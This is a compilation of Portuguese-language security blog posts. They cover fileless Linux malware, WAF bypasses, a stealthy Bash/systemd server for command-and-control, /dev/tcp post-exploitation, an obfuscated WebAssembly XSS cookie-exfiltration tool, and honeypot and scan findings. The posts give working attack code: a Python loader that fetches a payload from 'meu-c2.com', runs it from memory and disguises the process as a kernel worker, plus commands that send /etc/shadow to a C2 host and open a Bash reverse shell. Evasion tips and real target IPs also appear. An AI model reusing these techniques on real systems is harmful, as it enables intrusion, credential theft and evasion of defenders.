[ 0x00 ] A MORTE DO /tmp

Sabe aquele velho tutorial de pós-exploração que diz pra você fazer um wget payload.elf -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload? Hoje em dia, isso é um suicídio operacional. Qualquer solução de EDR (Endpoint Detection and Response) ou até mesmo um script bobo com inotify monitorando a pasta /tmp vai disparar um alerta e matar seu processo antes mesmo de você piscar.

A regra número um da evasão moderna é: {fmt('Se tocar no disco, você morre.', 'err')}

Mas como rodar um binário no Linux sem salvar ele num arquivo? A resposta é uma system call introduzida lá no Linux 3.17 chamada memfd_create.

[ 0x01 ] O QUE É MEMFD_CREATE?

A syscall memfd_create faz algo mágico: ela pede para o kernel criar um arquivo anônimo que existe exclusivamente na memória RAM (tecnicamente no tmpfs oculto do kernel). Ele te devolve um file descriptor (um número, tipo 3), mas não existe nenhum caminho no disco como /home/user/arquivo para ele.

Como sou Dev Python, não preciso compilar um C para usar isso. O Python tem a maravilhosa biblioteca ctypes que permite chamar funções direto do kernel Linux.

[ 0x02 ] O LOADER EM PYTHON

Abaixo está o esqueleto de como um Malware Fileless opera no Linux usando puro Python 3. Nesse script, a gente baixa um binário ELF da internet (pode ser seu rootkit, seu C2 beacon, etc), joga pra dentro do memfd e executa a partir da memória.

import urllib.request
import ctypes
import os

# 1. Syscall number para memfd_create (319 em x86_64) e flags
SYS_memfd_create = 319
MFD_CLOEXEC = 0x0001U

# Nome falso do processo (pra enganar o htop/ps)
fake_name = "kworker/u4:2"

# 2. Chama a syscall diretamente
libc = ctypes.CDLL("libc.so.6")
fd = libc.syscall(SYS_memfd_create, fake_name.encode('utf-8'), MFD_CLOEXEC)

if fd == -1:
    print("Falha ao criar memfd")
    exit(1)

# 3. Baixa o Payload Malicioso direto para a RAM (sem tocar no disco!)
req = urllib.request.urlopen("http://meu-c2.com/payload.elf")
payload_bytes = req.read()

# Escreve os bytes dentro do descritor de arquivo na memória
os.write(fd, payload_bytes)

# 4. Executa! O Linux mapeia os file descriptors em /proc/self/fd/
fd_path = f"/proc/self/fd/{{fd}}"
os.execv(fd_path, [fake_name])

[ 0x03 ] POR QUE ISSO É ASSUSTADOR?

Olhe bem para a linha os.execv(fd_path, [fake_name]). - Primeiro: O arquivo baixado via urlopen nunca foi salvo. Ficou em variáveis da RAM e foi injetado direto no file descriptor da RAM. O antivírus que escaneia o disco rígido é completamente inútil aqui. - Segundo: O primeiro argumento do array é o nome que vai aparecer no gerenciador de tarefas (ps, top). A gente chamou de kworker/u4:2, que é um processo padrão inofensivo do kernel Linux. Se um SysAdmin olhar os processos rodando, ele vai ver só mais um worker do kernel.

[ 0x04 ] FORENSE E DETECÇÃO

Isso quer dizer que é impossível de pegar? Não. Mas requer uma análise de memória avançada. Se o analista de SOC souber o que está procurando, ele vai usar comandos como ls -l /proc/*/fd e procurar por links simbólicos apontando para um caminho bizarro chamado /memfd:kworker/u4:2 (deleted).

O termo (deleted) no Linux geralmente aparece quando um arquivo aberto é apagado do disco. No caso do memfd, ele já nasce "deletado" (sem caminho). Mas ferramentas modernas de BPF (tipo o Tetragon da Isovalent) já conseguem interceptar a própria chamada da syscall memfd_create e gerar alertas.

{fmt('Dica Red Team:', 'success')} Para operações super sensíveis, você não baixa um ELF pronto. Você ofusca/encripta o ELF no servidor, baixa ele com Python, desencripta na memória e joga pro memfd. Seu processo não deixa rastro físico. É literalmente um {fmt('fantasma na RAM.', 'fuchsia')}

[ 0x00 ] O MITO DA CAIXA INVIOLÁVEL

Todo mundo acha que empresas grandes têm defesas perfeitas. Quando você esbarra num WAF (Web Application Firewall) da Akamai, Cloudflare Enterprise ou Imperva num alvo gigante (como foi o caso da Coinbase que eu reportei), a tela de 403 Forbidden parece uma parede de concreto.

Mas o lance é o seguinte: WAFs não são mágicos. Eles são gigantescas coleções de Regex (expressões regulares) tentando entender tráfego web na força bruta. E se tem uma coisa que aprendi caçando bugs, é que onde tem parsing complexo, tem confusão.

[ 0x01 ] DESYNC: QUEM ESTÁ LENDO O QUÊ?

A chave para o bypass é causar uma dessincronização entre o que o WAF entende e o que o servidor Backend (a aplicação real) entende. O WAF bloqueia a palavra UNION SELECT. Mas e se você mandar U%6eION S%45LECT? - Se o WAF decodificar a URL apenas uma vez antes de validar, ele vê o texto com porcentagem e deixa passar. - Se a aplicação no backend decodificar uma segunda vez antes de executar no banco, o payload vira UNION SELECT novamente. - Boom. Bypass clássico de double-encoding.

[ 0x02 ] POLUIÇÃO DE PARÂMETROS (HPP)

Um dos meus favoritos. O que acontece se você enviar dois parâmetros com o mesmo nome na URL? GET /api/user?id=1&id=UNION SELECT...

• A tecnologia A (ex: PHP) pega apenas o último valor.
• A tecnologia B (ex: JSP/Tomcat) pega o primeiro valor.
• A tecnologia C (ex: ASP.NET) concatena os dois.

Se o WAF for configurado para validar apenas o primeiro parâmetro, mas a aplicação em Node.js ler o último, o WAF vai validar o id=1 (que é seguro) e ignorar o payload venenoso no final. O backend, inocente, vai engolir o SQLi. É como passar com o contrabando por trás das costas do segurança.

[ 0x03 ] O CASO OPENRESTY

Num dos meus achados de recompensa (Bug Bounty), eu esbarrei num WAF bem parrudo. Toda tentativa direta de LFI ou XSS era sumariamente assassinada.

Comecei a fuzilar headers exóticos HTTP na requisição. X-Forwarded-Host, X-Rewrite-URL, Client-IP. A maioria dos WAFs são configurados para processar a URI original, mas os proxies reversos no meio do caminho podem alterar a requisição com base nesses headers se estiverem mal configurados.

Ao injetar um payload ofuscado num cabeçalho de proxy mal normalizado, consegui fazer o load balancer interno me cuspir não a página padrão de erro do WAF, mas sim uma página de debug do OpenResty. Eu expus a versão exata do proxy deles e as regras de roteamento internas simplesmente porque o filtro não cobria a combinação exata de caracteres unicode num header não-padrão.

[ 0x04 ] MINDSET DE CAÇADOR

Bypass de WAF raramente é usar ferramentas automatizadas como o sqlmap --tamper. Isso faz barulho e te dá um block de IP rápido.

Bypass é arte analítica. É bater na porta com uma letra minúscula, depois maiúscula, depois com espaço, depois com %00 (null byte), e ver como a resposta muda. É fazer o parser do WAF desistir por timeout ou confusão e deixar o pacote passar pro backend.

[ 0x05 ] TRANSFER-ENCODING: CHUNKED

Se você quer confundir WAFs antigos, essa é clássica. Quando enviamos dados HTTP via POST, geralmente dizemos o tamanho total no Content-Length. Mas o HTTP/1.1 permite enviar em "pedaços" usando o cabeçalho Transfer-Encoding: chunked. A mágica aqui é que muitos WAFs têm um limite de quantos "chunks" eles vão analisar antes de desistir (para economizar CPU).

Se você enviar:

POST /api/upload HTTP/1.1
Transfer-Encoding: chunked

1
<
1
s
1
c
1
r
... 

O backend vai montar a string <script>... pedaço por pedaço e executar o XSS no banco, enquanto o WAF corporativo talvez não tenha re-montado o payload corretamente, olhando para blocos isolados inofensivos.

[ 0x06 ] NORMALIZAÇÃO UNICODE

Outro vetor assustador são os caracteres unicode que "se parecem" visualmente com letras, mas têm códigos hexadecimais diferentes. No padrão Unicode, a letra K (Kelvin) K não é a letra K maiúscula normal K.

O WAF olha para SELECKT e diz: "Isso não é um comando SQL, bloqueio não necessário." Mas quando isso entra no backend (um banco MySQL com charset utf8mb4 mal configurado, por exemplo), a engine do banco realiza a "normalização". Ela converte K para o clássico K maiúsculo. De repente, seu pacote inofensivo vira um SELECT monstruoso extraindo senhas.

Dica de Ouro: Caçar falhas em filtros não é sobre encontrar o payload mais complexo do Github. É entender perfeitamente a cadeia de tecnologias (Load Balancer -> WAF -> Proxy -> Backend -> Database) e achar onde a conversão de dados difere. A defesa corporativa é focada em padrões conhecidos. Seja o padrão desconhecido e o WAF se tornará cego.

[ 0x00 ] A GORDURA DOS SERVIDORES MODERNOS

A gente se acostumou mal. Pra servir um simples arquivo JSON ou uma página estática, hoje a galera sobe um container de Node.js, um Apache ou no mínimo um Nginx. Isso puxa dezenas de megabytes de RAM, abre margem pra N vulnerabilidades nas dependências, e deixa um rastro gigantesco.

Mas o que acontece se você precisar levantar um serviço furtivo, ou simplesmente provar que entende de Linux de verdade? E se eu te disser que você pode criar um servidor HTTP funcional usando apenas Bash e o SystemD?

Isso é o que eu chamo de Ghost Server.

[ 0x01 ] SYSTEMD SOCKET ACTIVATION

A mágica começa com uma feature subestimada do Linux: Socket Activation. Ao invés de deixar um programa rodando 24/7 ouvindo uma porta (gastando memória), você manda o SystemD ouvir a porta. Quando alguém conecta nessa porta, o SystemD acorda o seu script, repassa a conexão via stdin/stdout (entrada e saída padrão), e quando termina, ele mata o processo.

Zero consumo de RAM enquanto está ocioso. Lindo, não?

Crie o arquivo /etc/systemd/system/ghost-http.socket:

[Unit]
Description=Ghost HTTP Socket

[Socket]
ListenStream=8080
Accept=yes

[Install]
WantedBy=sockets.target

Note o Accept=yes. Isso diz pro SystemD spawnar uma nova instância do nosso serviço para cada conexão que chegar.

[ 0x02 ] O SERVIÇO FANTASMA

Agora, criamos o arquivo que diz o que o SystemD deve executar. /etc/systemd/system/ghost-http@.service:

[Unit]
Description=Ghost HTTP Service

[Service]
StandardInput=socket
ExecStart=/usr/local/bin/ghost-server.sh

[ 0x03 ] O BASH COMO BACKEND DA WEB

E aqui entra o nosso código fonte do servidor. Sem bibliotecas, sem frescura. Ele só precisa cuspir o cabeçalho HTTP válido de volta pelo stdout.

/usr/local/bin/ghost-server.sh:

#!/bin/bash
# Lemos a primeira linha da requisição (ex: GET /index.html HTTP/1.1)
read request

# Removemos quebras de linha sujas
request=$(echo $request | tr -d '\r\n')

# Ignoramos o resto dos headers porque somos minimalistas (e um pouco preguiçosos)
while read line; do
    line=$(echo $line | tr -d '\r\n')
    [ -z "$line" ] && break
done

# Resposta HTTP crua!
echo -e "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n"
echo -e "<h1>Bem vindo ao Ghost Server</h1><p>Zero NPM. Zero Python. Apenas Bash.</p>"

[ 0x04 ] START AND FORGET

Dá permissão de execução, habilita e pronto:

chmod +x /usr/local/bin/ghost-server.sh
systemctl enable --now ghost-http.socket

Pode dar curl no localhost:8080. Funciona que é uma beleza. Por que isso é útil? Pra red team, é um C2 (Command and Control) ou servidor de payload absurdamente furtivo. Pra infra, é um jeito incrivelmente seguro e leve de servir métricas internas ou painéis de status que não consomem recursos quando ninguém está olhando.

[ 0x05 ] ROTEOAMENTO BÁSICO NO BASH

Servir uma página estática é legal, mas e se quisermos servir arquivos dinâmicos baseados na URL? O $request que capturamos tem tudo o que precisamos. Podemos extrair a rota (ex: /api/data) com awk ou bash puro:

route=$(echo "$request" | awk '{print $2}')

if [ "$route" == "/api/status" ]; then
    echo -e "HTTP/1.1 200 OK
Content-Type: application/json

"
    echo "{ "status": "ghosting", "load": $(cat /proc/loadavg | awk '{print $1}') }"
elif [[ "$route" == *.json ]]; then
    file="."$route
    if [ -f "$file" ]; then
        echo -e "HTTP/1.1 200 OK
Content-Type: application/json

"
        cat "$file"
    else
        echo -e "HTTP/1.1 404 Not Found

"
    fi
else
    echo -e "HTTP/1.1 403 Forbidden

"
fi

Pronto, você acabou de reinventar o Express.js usando shell script. E incrivelmente, isso aguenta porrada.

[ 0x06 ] LIMITAÇÕES E PERFOMANCE

Isso vai aguentar o tráfego da Amazon na Black Friday? Claro que não. O SystemD spwana um novo processo bash para cada conexão. Fazer 1000 requisições concorrentes significa 1000 processos bash nascendo e morrendo. A latência média fica na casa dos 5ms, mas a CPU sofre com o custo de context-switching e criação de processos se houver sobrecarga.

Entretanto, para APIs internas, callbacks (webhooks) invisíveis para C2s e administração de sistemas remotos (onde a carga é baixa), é a solução mais silenciosa e elegante possível. O administrador que abrir o top ou o htop dificilmente vai suspeitar de instâncias curtas do /bin/bash rodando pelo sistema (pois o sistema inteiro já faz isso naturalmente). Às vezes, a melhor ferramenta não é instalar mais pacotes, mas sim usar o que o sistema operacional já te dá de bandeja.

[ 0x00 ] A CENA DO CRIME

Imagine o cenário: você finalmente consegue aquele sonhado RCE (Remote Code Execution) num container ou servidor mal configurado. Você manda aquele whoami e vê que é root. A adrenalina bate. Aí você vai baixar o seu rootkit ou script de exfiltração:

$ wget http://meu-c2.com/payload.sh
bash: wget: command not found
$ curl http://meu-c2.com/payload.sh
bash: curl: command not found
$ nc
bash: nc: command not found

O dev da empresa foi safo. Ele usou uma imagem Docker mega minimalista (tipo Alpine) e tirou todas as ferramentas úteis. E agora? Você chora? Não, você lembra que o Bash é maravilhoso e tem o /dev/tcp.

[ 0x01 ] MAGIA NEGRA DO KERNEL? NÃO, APENAS BASH

O diretório /dev/tcp não é um arquivo real no Linux. Ele é uma funcionalidade embutida diretamente no shell (Bash). Se você redirecionar dados para /dev/tcp/HOST/PORTA, o Bash magicamente abre um socket de rede pra você.

Vamos brincar de port scanner sem Nmap? Olha como é estupidamente simples testar se a porta 80 tá aberta num alvo:

if timeout 1 bash -c '</dev/tcp/10.0.0.5/80' &>/dev/null; then 
    echo "Porta 80 aberta meu rei"
fi

Faz um loop em for do 1 ao 1024 e você acabou de criar o port scanner mais minimalista do planeta. O Blue Team não vai ver um processo de nmap ou rustscan pipocando nos logs do EDR, só o próprio bash executando redirecionamentos normais.

[ 0x02 ] BAIXANDO ARQUIVOS (O CURL DO PARAGUAI)

Legal, posso escanear. Mas e pra baixar o meu malware? Pra isso, precisamos construir uma requisição HTTP "na mão". HTTP nada mais é do que enviar um texto pedindo um arquivo e ler a resposta.

Usando file descriptors (exec 3<>), a gente abre a conexão de leitura e escrita:

exec 3<>/dev/tcp/meu-c2.com/80
echo -e "GET /payload.sh HTTP/1.1\r\nHost: meu-c2.com\r\nConnection: close\r\n\r\n" >&3
cat <&3 > payload.sh

BUM! Seu payload tá no servidor. Sem usar nenhum binário adicional, usando 100% de funções built-in do shell. A chance de isso ser detectado por um antivírus que só monitora chamadas a ferramentas conhecidas é praticamente zero.

[ 0x03 ] EXFILTRANDO DADOS NO MODO STEALTH

Pegou a senha do banco de dados no /etc/shadow e quer mandar pra você? Inverte o processo. No seu servidor (C2) você deixa um netcat ouvindo: nc -lvnp 4444.

E na máquina vítima:

cat /etc/shadow > /dev/tcp/meu-c2.com/4444

Sim, é só isso. Um comando. Sem dependências, sem frescura. O /dev/tcp é o melhor amigo do hacker pós-exploração.

[ 0x04 ] PING SWEEPS SEM PING

Se o ICMP (ping) está bloqueado pelo firewall de saída, você não consegue mapear a rede interna. Certo? Errado. Você pode usar a mesma técnica da porta 80 para mapear a rede. Ao iterar pelo último octeto do IP (1 a 254) e testar portas comuns como 445 (SMB) ou 22 (SSH), você acha as outras máquinas da rede.

for ip in {1..254}; do
    timeout 0.2 bash -c "</dev/tcp/10.0.0.$ip/445" &>/dev/null && echo "Host 10.0.0.$ip está vivo!" &
done
wait

E como jogamos para background com o &, o scan inteiro da sub-rede /24 termina em menos de 1 segundo.

[ 0x05 ] O CLÁSSICO REVERSE SHELL

Não poderia terminar sem falar do payload mais famoso. Se você quer transformar esse RCE pontual num shell interativo na sua máquina:

bash -i >& /dev/tcp/meu-c2.com/9001 0>&1

Isso redireciona o stdin, stdout e stderr do Bash diretamente para a conexão socket. Você ganha controle total da máquina sem nunca ter "baixado" um binário malicioso. Apenas redirecionamentos mágicos do kernel. Da próxima vez que pegar um shell capado, não se desespere. O shell tem tudo o que você precisa.

[ 0x00 ] THE_EVAL_WARS

Se você já tentou injetar um <script>alert(1)</script> num campo de busca e o site te barrou com um erro 403, você encontrou seu primeiro WAF (Web Application Firewall). Esses caras são treinados para caçar palavras-chave como eval, cookie, e fetch.

A maioria dos hackers para por aí ou tenta um Base64 bobo. Mas aqui no reesXSS, é definitivamente diferente. Este projeto é a minha jornada para transformar um ataque web numa peça de engenharia binária indetectável.

[ 0x01 ] POR QUE WEBASSEMBLY? (THE BINARY SHIELD)

O problema do JavaScript é que ele é... bem, texto. Qualquer F12 revela sua estratégia. Mas o WebAssembly (WASM) mudou o jogo.

WASM é um bytecode. Quando você move a lógica de "desembaralhar" o código para um binário compilado, você cria uma Caixa Preta (Blackbox). O analista de segurança abre o console e vê um monte de números aleatórios e um blob binário. Ele não sabe se aquilo é um motor de jogo, um minerador de cripto ou, no nosso caso, um script de exfiltração de dados de elite.

[ 0x02 ] O MOTOR: TINYGO NO COMANDO

Para criar o core do reesXSS, eu usei TinyGo. Por que não Go puro? Porque o Go padrão embuti um runtime gigante (2MB+) no WASM. Para um payload XSS, isso é um elefante no meio da sala.

Com TinyGo, o binário fica com poucos KB. A lógica que implementei (decrypt_byte) faz rotação de bits, XOR dinâmico baseado no index e um salt matemático (0x1337). * Polimorfismo: Cada vez que você gera o payload, ele é diferente. Se o seu script tem 10 letras "a", no payload final elas viram 10 números totalmente distintos. Análise estatística? Morta.

[ 0x03 ] ARQUITETURA DO SISTEMA

O reesXSS não é só um gerador; é um sistema de Monitoramento e Exfiltração completo: 1. Backend (Python/Flask): O cérebro que gerencia as vítimas, salva os logs e serve o dashboard em tempo real. 2. Persistence (PostgreSQL): Nada de JSON no disco; usamos banco de dados real para lidar com milhares de requisições de exfiltração.

[ 0x04 ] O BLOCO "THE VOID" (ULTIMATE OBFUSCATION)

Para aqueles casos onde o WASM é bloqueado por políticas de segurança (CSP), eu criei o modo The Void. Ele usa Opaque Predicates — condições lógicas que sempre dão verdadeiro (como [] === []... mentira, essa dá falso, mas você entendeu a ideia kkk) mas que confundem completamente os scanners estáticos. Junte isso com Junk Code Injection e você tem um script que parece um labirinto infinito de lógica inútil protegendo o prêmio real no centro.

[ 0x05 ] CASO DE TESTE: BYPASSING LABS

Testar em ambiente controlado é fácil. O desafio foi o testphp.vulnweb.com. O limite de caracteres nos campos deles matava nossos payloads WASM embutidos (27k chars). * Solução: Implementei o WASM Ghost (External). O payload injetado é um loader de 150 caracteres que dá um fetch no binário /engine.wasm do meu servidor. Resultado? Conexão estabelecida e cookies capturados com sucesso.

[ 0x06 ] FINAL_LOGOUT

Este projeto me mostrou que a segurança web é um jogo de gato e rato. No momento que você cria uma barreira, alguém vai criar uma escada binária para pular. O reesXSS é o meu laboratório vivo para entender essas escadas.

Se você é desenvolvedor, a dica é: não confie em filtros de string. Sanitização Real é a única saída. Se você é entusiasta de segurança: o WASM é o futuro da ofuscação (e da detecção).

"If it runs in the browser, it can be hidden." — SYSTEM_ADMIN

[ 0x00 ] INITIAL_LOG_BOOT

O que você está vendo no dashboard não é um mapa de "hackers de filme" digitando em telas verdes. É o ruído da internet. Se você levanta um IP público hoje, você não está mais "sozinho". Em menos de 60 segundos, algum script na China, na Rússia ou num datacenter em Ohio vai te encontrar e isso é o comum.

Este artigo é uma autópsia técnica do que esse calor vermelho realmente significa. A toca do coelho é feita de scripts automatizados e instâncias de nuvem mal configuradas.

[ 0x01 ] THE_CLOUD_ABUSE_BIAS

Aquele brilho intenso na Costa Leste dos EUA (regiões us-east-1) é o coração da AWS. Mas não se engane: não são os funcionários da Amazon te atacando.

O que acontece é o "Cloud-Hopping". Atacantes usam cartões de crédito clonados ou instâncias com vulnerabilidades de kernel para subir proxies de alta banda. Uma VPS de 5 dólares tem conexão de 1Gbps; seu roteador da Vivo tem... bem, você sabe. É muito mais eficiente escanear o IPv4 inteiro a partir de um backbone de datacenter do que de uma rede residencial. (A não ser que você tenha 1001 redes residenciais :p)

[ 0x02 ] THE_FLAP-D_PARADOX (EUROPE)

Londres, Amsterdã, Frankfurt, Paris e Dublin. O eixo FLAP-D é onde a internet europeia respira. A concentração de ataques aqui é puramente estatística: é onde estão os maiores IXPs (Internet Exchange Points) e os datacenters de baixa latência como Hetzner e OVH.

As botnets adoram esses caras porque a reputação do IP demora a cair. Eles conseguem disparar milhões de pacotes de brute-force antes que o provedor receba os primeiros reports de abuso e derrube a instância.

[ 0x03 ] THE_IOT_PLAGUE: MIRAI & BEYOND

Enquanto a nuvem foca em brute-force pesado, o calor no Sudeste Asiático e em São Paulo vem de algo mais... "sujo". Estamos falando de IoT Botnets.

Roteadores de padaria, câmeras IP baratas, DVRs que nunca viram um update de firmware. Malwares como Mirai, Aisuru e o recente P2PInfect (que usa exploits em Redis) transformam esses dispositivos em zumbis. Eles não têm a banda de uma AWS, mas têm o número. * Behavior: O bot entra, tenta senhas padrão (admin/admin, root/123456), se entrar, ele mata outros malwares que já estavam lá e "fecha a porta" pra ele. É uma guerra territorial pelo seu roteador.

[ 0x04 ] CASE_STUDY: SÃO_PAULO_CLUSTER

O Brasil é um dos maiores geradores de "ruído" do mundo. Em São Paulo, a densidade de conexões residenciais com configurações de segurança inexistentes é um prato cheio.

Nos nossos honeypots (Cowrie para SSH e Dionaea para malware), o primeiro hit de brute-force TCP geralmente vem em menos de 45 segundos. A maioria das tentativas foca em portas clássicas: 22 (SSH), 23 (Telnet), 3389 (RDP) e 5060 (SIP). Eles não querem seus arquivos; eles querem seu processamento para minerar Monero ou participar de um ataque DDOS massivo.

[ 0x05 ] THE_DEBUG_LOG (REAL_WORLD_EXFIL)

Aqui está o que é extraído de um ataque real. Esqueça nomes de usuários bonitinhos; os bots tentam o que é padrão em ambientes Ubuntu, Web e Admin.

No log abaixo, capturado em 2025-07-18, vemos um atacante de Hong Kong (47.238.151.234) usando libssh2_1.11.1 para realizar um brute-force em série. O tempo de conexão? Apenas 0.6 segundos. Isso indica um scanner em massa, automatizado para testar e descartar alvos em milissegundos.

2025-07-18T02:06:15+0000 [SSHTransport,47.238.151.234] login attempt [ubuntu/qwe123456] failed
2025-07-18T02:06:18+0000 [SSHTransport,47.238.151.234] login attempt [web/P@ssw0rd] failed
2025-07-18T02:07:09+0000 [SSHTransport,47.238.151.234] login attempt [adam/adam123] failed
2025-07-18T02:07:19+0000 [SSHTransport,47.238.151.234] login attempt [app/111111] failed
2025-07-18T02:07:50+0000 [SSHTransport,47.238.151.234] login attempt [demo/demo] failed

[ 0x06 ] ANOMALY_DETECTED: PUBLIC_KEY_ATTACK

Nem tudo é brute-force de senha. Atacantes mais avançados tentam injetar chaves públicas ou usar credenciais vazadas de repositórios expostos.

Recentemente, o IP 182.92.11.80 tentou uma conexão usando a public key para o usuário NL5xUDpV2xRa. O ataque foi tão agressivo ou mal-formado que chegou a causar um exceção interna no honeypot. Quando o atacante começa a tentar chaves específicas, o jogo muda: ele não está mais apenas batendo na porta; ele está tentando usar a chave mestre de um vazamento anterior.

[ 0x07 ] SURVIVAL_GUIDE: HARDENING_101

Não adianta chorar no Twitter/X. A internet é hostil. Se você quer parar de ser um "pontinho vermelho" no mapa de alguém, o checklist é obrigatório:

1. Kill Passwords: Se você usa senha no SSH, você já perdeu. Use Ed25519 Keys.
2. Move the Gate: Mudar a porta 22 para algo como 49152 ajuda? Sim, mas só contra scripts burros. Shodan vai te achar de qualquer jeito.
3. Active Defense: Instale CrowdSec. Ele é como um Waze para ataques: se um IP atacou alguém na rede deles, ele já chega banido no seu servidor.
4. Audit Your IoT: Se o seu roteador não recebe update desde 2021, ele não é um roteador, é um membro da botnet de alguém.

[ 0x08 ] MASSIVE_RECON: NMAP_ON_STEROIDS

Como que esses caras te acham em menos de 1 minuto? Simples: velocidade bruta.

Olha esse scan abaixo. Foram testados 4096 endereços IP em apenas 3.58 segundos. Usando taxas de pacotes agressivas (--min-rate 5000), um atacante consegue varrer sub-redes inteiras atrás de portas específicas (como a 25565 de Minecraft ou a 22 de SSH) em tempo recorde.

# sudo nmap -n -Pn -T5 --min-rate 5000 --open -p 25565 152.67.32.0/20 -vvvv
Scanning 4096 hosts [1 port/host]
Discovered open port 25565/tcp on 152.67.32.10
Discovered open port 25565/tcp on 152.67.34.19
Nmap done: 4096 IP addresses scanned in 3.58 seconds
Raw packets sent: 8175 (359.700KB) | Rcvd: 19 (928B)

Se você tem uma porta aberta, você é apenas um bit num scan de 3 segundos de alguém. Não é pessoal, é estatística.

[ 0x09 ] TARGET_ANALYSIS: VULNERABLE_TOMCAT_7.0.92

Depois que o scan termina, o atacante agora tem uma lista de IPs "vivos". Um exemplo real? O IP 152.67.33.53:8080 rodando um Apache Tomcat/7.0.92.

Essa versão é um "parque de diversões" para o Red Team. Só de olhar o versionamento, já sabemos que ele está aberto para: 1. Ghostcat (CVE-2020-1938): Permite ler arquivos internos (configurações) via porta AJP (8009). 2. RCE via CGI Servlet (CVE-2019-0232): Se estiver em Windows, injeção de comandos via .bat. 3. Manager App: Versões antigas são alvos constantes de brute-force para upload de arquivos .war maliciosos (WebShell).

Encontrar o alvo demorou 3.70 segundos. O que vem depois é apenas execução técnica.

[ 0x0A ] FINAL_THOUGHTS

O mapa vermelho da internet não é sobre você. É sobre a exploração massiva de recursos computacionais. Entender que você está sendo escaneado neste exato momento não é paranoia.

A pergunta de ouro no Red/Blue Team não é se você vai ser invadido, é: "O quanto de barulho o atacante vai ter que fazer antes de eu dar um 'shutdown' na conexão dele?".

Fique seguro, use chaves, e pare de usar admin/admin pelo amor de Deus kkkkk.